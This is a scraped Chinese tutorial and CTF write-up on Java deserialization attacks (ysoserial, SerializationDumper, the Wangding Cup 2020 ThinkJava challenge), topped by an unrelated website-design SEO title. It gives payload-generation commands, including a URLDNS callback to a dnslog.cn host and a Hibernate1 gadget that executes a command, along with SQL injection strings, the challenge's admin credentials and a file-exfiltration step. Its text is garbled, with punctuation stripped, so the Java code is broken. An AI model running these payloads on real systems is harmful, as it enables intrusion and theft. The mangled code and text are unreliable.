看设计案例的有哪些网站,网站设计的工具,解决网站兼容性问题,做英文企业网站多钱钱#知识点#xff1a;
1、Java 反序列化演示-原生 API 接口
2、Java 反序列化漏洞利用-Ysoserial 使用
3、Java 反序列化漏洞发现利用点-函数数据
4、Java 反序列化考点-真实CTF 赛题-审计分析 #内容点#xff1a;
1、明白-Java 反序列化原理
2、判断-J…#知识点
1、Java 反序列化演示-原生 API 接口
2、Java 反序列化漏洞利用-Ysoserial 使用
3、Java 反序列化漏洞发现利用点-函数数据
4、Java 反序列化考点-真实CTF 赛题-审计分析 #内容点
1、明白-Java 反序列化原理
2、判断-Java 反序列化漏洞
3、学会-Ysoserial 工具使用
4、学会-SerializationDumper
5、了解-简要 Java 代码审计分析 #前置知识:
序列化和反序列化的概念
序列化把 Java 对象转换为字节序列字节流的过程。
反序列化把字节序列恢复为 Java 对象的过程。 对象的序列化主要有两种用途
把对象的字节序列永久地保存到硬盘上通常存放在一个文件中持久化对象
在网络上传送对象的字节序列。网络传输对象 函数接口
Java Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP serialize()、 unserialize()
Pythonpickle 数据出现
1、功能特性
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性
一段数据以 rO0AB 开头你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头那么他就是这一段 java 序列化的 16 进制。
3、出现具体
http 参数cookiesesion存储方式可能是 base64(rO0压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器包含的协议就包 发现
黑盒分析数据库出现地-观察数据特性
白盒分析组件安全函数搜索功能模块 利用
Ysoserial工具利用 Ø 原生 API-Ysoserial_URLDNS 使用
Ø 三方组件-Ysoserial_支持库生成使用
Ø 解密分析-SerializationDumper 数据分析
Ø CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava #java序列化和反序列化
具体代码
package SerialTest; import java.io.*; public class SerializableTest { public static void main(String[] args) throws Exception { serialPerson(); Person person deserialPerson(); System.out.println(person); } /** * Person对象序列化 * throws IOException */ private static void serialPerson() throws IOException { Person person new Person(xiaodi, 28, 男, 101); ObjectOutputStream oos new ObjectOutputStream( new FileOutputStream(new File(d:/person.txt)) ); oos.writeObject(person); System.out.println(person 对象序列化成功); oos.close(); } /** * Person对象反序列化 * return * throws Exception */ private static Person deserialPerson() throws Exception { ObjectInputStream ois new ObjectInputStream( new FileInputStream(new File(d:/x.txt)) ); Person person (Person)ois.readObject(); System.out.println(person 对象反序列化成功); //Runtime.getRuntime().exec(calc.exe); return person; } }
正序列化 符合数据特性中的aced开头 利用当我们对序列化后的数据进行数据更改构造出恶意代码再放回去便形成了反序列化攻击 #原生 API-Ysoserial_URLDNS 使用
由于Ys工具多半是针对原生类的而现在大多数都是以组件的形式格式可能不支持
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Serializable 接口
Externalizable 接口 没组件生成 DNS 利用
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://43x1nz.dnslog.cn urldns.ser 修改文件将person文件换为a.txt载入使反序列化 相关的DNS收到其信息说明其会进行反序列化并进行执行 #三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat 有组件生成 RCE: 将此文件库保存下来进行引用
1、生成java -Dhibernate5 -cp hibernate-core-
5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar
ysoserial.GeneratePayload Hibernate1 calc.exe x.bin
进行本地执行计算机的命令
生成以ACED头的 而题中的要求要rO0AB 开头故需进行base64加密 2、解码python java.py
import base64
file open(x.bin,rb)
now file.read()
ba base64.b64encode(now)
print(ba)
file.close() 成功 #解密分析-SerializationDumper 数据分析
在代码审计中或代码利用时判断是否成功——只支持十六进制
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser dns.txt #CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava
0x01 注入判断获取管理员帐号密码
根据提示附件进行 javaweb 代码审计发现可能存在注入漏洞 另外有 swagger 开发接口测试注入漏洞及访问接口进行调用测试
数据库名myapp,列名 name,pwd
注入测试
POST /common/test/sqlDict
dbNamemyapp?a union select (select name from user)#
dbNamemyapp?a union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html 接口测试
{
password:adminRrrr_ctf_asde,
username: admin
}
根据题目中给的swagger的接口login进行测试 发现data里有反序列化数据解密一下base64解密java_bs.pySerializationDumper解密 在接口current下输入data数据 操作成功且得知了是admin操作的这就说明在序列化下存在admin的权限且只有此功能存在了对序列化的读取才会知道有admin用户故存在反序列化操作
利用原生类URLDNS进行测试 同时进行base64加密——Java.python——因为data里的序列化为rO0AB 开头 提交 有了漏洞存在 获取flag ROME让对方的指定文件发送到指定地址中 成功监听